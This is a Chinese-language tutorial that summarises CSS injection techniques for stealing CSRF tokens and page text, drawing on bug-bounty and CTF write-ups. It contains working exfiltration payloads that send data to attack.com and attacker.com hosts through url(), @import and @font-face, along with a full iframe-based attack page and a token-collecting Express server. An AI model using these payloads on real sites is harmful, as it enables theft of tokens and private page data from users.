CSS injection 知识总结
现代浏览器都已不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在 url() 、 expression() 中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的,下面分别来分析一下。
CSS 注入 窃取标签属性数据
CSS中可以使用属性选择器,根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为abc的p标签。
<style>p[a="abc"]{ color: red;}</style>
<p a="abc">hello world</p>
属性选择器还可以匹配值的一些特性,比如以XXX开头、以XXX结尾等。

利用上面的性质我们可以用来窃取页面标签属性中的数据。比如下面当csrfToken以某个字母开头时,就可以通过 url() 通知攻击者,从而窃取csrfToken的第一位的值。
<style>
input[value^="0"] {
background: url(http://attack.com/0);
}
input[value^="1"] {
background: url(http://attack.com/1);
}
input[value^="2"] {
background: url(http://attack.com/2);
}
...
input[value^="Y"] {
background: url(http://attack.com/Y);
}
input[value^="Z"] {
background: url(http://attack.com/Z);
}
</style>
<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">
第一位是Z,接着窃取第二位
<style>
input[value^="Z0"] {
background: url(http://attack.com/0);
}
...
input[value^="ZZ"] {
background: url(http://attack.com/Z);
}
</style>
<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">
解决hidden
当然还有个问题, 当标签 type=hidden 时浏览器是不允许我们设置background的,这样就无法触发 url() 请求服务器。
解决方法之一是利用 ~ CSS的兄弟选择器,选择为后续所有兄弟节点设置background。
input[value^="Z"] ~*{
background: url(http://attack.com/Z);
}
批量实现
当然,如果位数比较短且可能性比较少我们可以将其所有都列出来,但是通常都太多了,所以我们需要利用技巧批量得到。
假设目标存在css注入的网站为如下, 目标是窃取input标签中的csrfToken值。
<!DOCTYPE html>
<html>
<head>
<title>CSS injection</title>
</head>
<body>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<input type="" name="">
<style><?php echo $_GET['css']?></style>
</body>
</html>
有iframe
当存在CSS注入的网站响应头未被 X-Frame-Options 保护时, 我们可以创建一个恶意的页面,利用js创建iframe包含该漏洞网站,利用css注入获得一位csrfToken值后通过 url() 提交给服务器,服务器指示前端js继续创建iframe窃取第二位值,继续上面的操作,直到全部读取完。当然这要求每次请求漏洞网站内容都不会变。
这里存在一个问题,服务器如何指示前端js构造css,就像我们上面举得例子窃取到第一位为Z, 那么第二位的payload应该是Z开头的。
下面的payload 来自这里 https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d
它的思路是前端js使用setTimeout定时请求服务器,服务器将css注入得到的token返回。
<html>
<style>
#frames {
visibility: hidden;
}
</style>
<body>
<div id="current"></div>
<div id="time_to_next"></div>
<div id="frames"></div>
</body>
<script>
vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
server_receive_token_url = 'http://127.0.0.1:8083/receive/';
server_return_token_url = 'http://127.0.0.1:8083/return';
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
known = "";
function test_char(known, chars) {
// Remove all the frames
document.getElementById("frames").innerHTML = "";
// Append the chars with the known chars
css = build_css(chars.map(v => known + v));
// Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
frame = document.createElement("iframe");
frame.src = vuln_url + css;
frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
document.getElementById("frames").appendChild(frame);
// in 1 seconds, after the iframe loads, check to see if we got a response yet
setTimeout(function() {
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", known_listener);
oReq.open("GET", server_return_token_url);
oReq.send();
}, 1000);
}
function build_css(values) {
css_payload = "";
for(var value in values) {
css_payload += "input[value^=\""
+ values[value]
+ "\"]~*{background-image:url("
+ server_receive_token_url
+ values[value]
+ ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
}
return css_payload;
}
function known_listener () {
document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
if(known != this.responseText) {
known = this.responseText;
test_char(known, chars);
} else {
known = this.responseText;
alert("CSRF token is: " + known);
}
}
test_char("", chars);
</script>
</html>
服务器代码是我配合它的payload写得。
var express = require('express');
var app = express();
var path = require('path');
var token = "";
app.get('/receive/:token', function(req, res) {
token = req.params.token;
console.log(token)
res.send('ok');
});
app.get('/return', function(req, res){
res.send(token);
});
app.get('/client.html', function(req, res){
res.sendFile(path.join(__dirname, 'client.html'));
})
var server = app.listen(8083, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
还有 师傅 通过服务器将token写入到cookie中, 定时查询cookie是否改变来实现的。
还发现有师傅用websocket实现更优雅一些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa
无 iframe
https://github.com/dxa4481/cssInjection 这里介绍了一种无iframe注入的方法。
原理也很简单,既然不能用iframe引入漏洞页面,那么我们可以通过 window.open 不断开启一个新的窗口,也就可以完成上述类似的效果。当然这种方法得劫持用户的点击行为,否则浏览器会禁止开启新窗口。
而且这篇文章还提出了无后台服务器的方案,利用service workers 拦截客户端请求将获取到的token值同时存在本地localstorage中。
@import
利用 @import 在chrome中的特性,https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 这篇文章提出的这种方法。这种方法有种好处就是 不会刷新页面就可以拿到全部token 而且不需要iframe,但坏处就是只能用在chrome中,而且根据它的特性必须在样式标签头部有注入才行。
除了常见的 <link> 标签引入外部样式,css还可以通过 @import 。
@import url(http://style.com/css.css);
但是 @import 必须在样式表头部最先声明,并且分号是必须的。 @import 引入的样式表会直接替换对应的内联样式。
chrome在实现上述效果时,在每次 @import 外部样式表 返回后 都重新计算了一遍页面的其他的样式表,我们可以利用这个特性嵌套 @import 使用一个请求便获取到整个token
这是他文章中的一个图,很形象。

这图假定要窃取的数据长度为3,第一次注入的css内容为 @import url(http://attacker.com/staging); ,它返回了
@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);
这时页面又要获取 @import url(http://attacker.com/polling?len=0); 样式表,而它返回的是窃取token的payload。
当将已窃取数据发送到服务器后, @import url(http://attacker.com/polling?len=1); 才会响应。响应的是窃取的第二位数据的payload....
而且那篇文章还开源了一个工具利用这个漏洞,用起来非常简单。
https://github.com/d0nutptr/sic
窃取标签content数据
窃取标签content数据相对来说就麻烦很多,去年xctf final就有一道题。
利用 unicode-range 猜测
根据https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html这位师傅的思路,可以通过指定 @font-face 的字体描述unicode-range,当存在某个字符时就通知服务器。
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>
当然这只能知道含有那些字符,而且当字符一多就没有意义了。不过这也是个不错的思路,在某些特定情况下可能有用。
利用连字(Ligature)
去年xctf师傅们的 题解 用的就是这个方法。
连字简而言之就是几个字符的合体字,更多自行百度。在这里我们可以自己创建一个字体,其中所有字符宽度设为0,将 flag 这个连字的宽度设置非常大,此时指定标签content中如果出现了flag字符串就会因为宽度的原因出现滚动条,检测出现滚动条时用 url() 请求服务器。
这样我们就可以不断向后猜测了,详细的创建字体、payload 这里 已经提供了。
总结
到此这篇关于CSS injection 知识总结的文章就介绍到这了,更多相关CSS injection内容请搜索脚本之家以前的文章或继续浏览下面的相关文章,希望大家以后多多支持脚本之家!
相关文章
- CSS Grid 是一种二维布局系统,可以同时控制行和列,相比 Flex(一维布局),更适合用在整体页面布局或复杂模块结构中,这篇文章主要介绍了前端CSS Grid 布局详解,需要的朋2025-04-16
- CSS 中的 padding 和 margin 是两个非常基础且重要的属性,它们用于控制元素周围的空白区域,本文将详细介绍 padding 和 margin 的概念、区别以及如何在实际项目中使用它们2025-04-07
- will-change 是一个 CSS 属性,用于告诉浏览器某个元素在未来可能会发生哪些变化,本文给大家介绍CSS will-change 属性详解,感兴趣的朋友一起看看吧2025-04-07
- 本文给大家分享在 CSS 中,去除a标签(超链接)的下划线的几种方法,本文给大家介绍的非常详细,感兴趣的朋友一起看看吧2025-04-07
在前端开发中,CSS(层叠样式表)不仅是用来控制网页的外观和布局,更是实现复杂交互和动态效果的关键技术之一,随着前端技术的不断发展,CSS的用法也日益丰富和高级,本文将2025-04-07css中的 vertical-align与line-height作用详解
文章详细介绍了CSS中的`vertical-align`和`line-height`属性,包括它们的作用、适用元素、属性值、常见使用场景、常见问题及解决方案,感兴趣的朋友跟随小编一起看看吧2025-03-26浅析CSS 中z - index属性的作用及在什么情况下会失效
z-index属性用于控制元素的堆叠顺序,值越大,元素越显示在上层,它需要元素具有定位属性(如relative、absolute、fixed或sticky),本文给大家介绍CSS 中z - index属性的作用2025-03-21- 文章详细介绍了CSS中的打印媒体查询@mediaprint包括基本语法、常见使用场景和代码示例,如隐藏非必要元素、调整字体和颜色、处理链接的URL显示、分页控制、调整边距和背景等2025-03-18

CSS模拟 html 的 title 属性(鼠标悬浮显示提示文字效果)
本文介绍了如何使用CSS模拟HTML的title属性,通过鼠标悬浮显示提示文字效果,通过设置`.tipBox`和`.tipBox.tipContent`的样式,实现了提示内容的隐藏和显示,感兴趣的朋友一起2025-03-10
前端 CSS 动态设置样式::class、:style 等技巧(推荐)
本文介绍了Vue.js中动态绑定类名和内联样式的两种方法:对象语法和数组语法,通过对象语法,可以根据条件动态切换类名或样式;通过数组语法,可以同时绑定多个类名或样式,此外2025-02-26





最新评论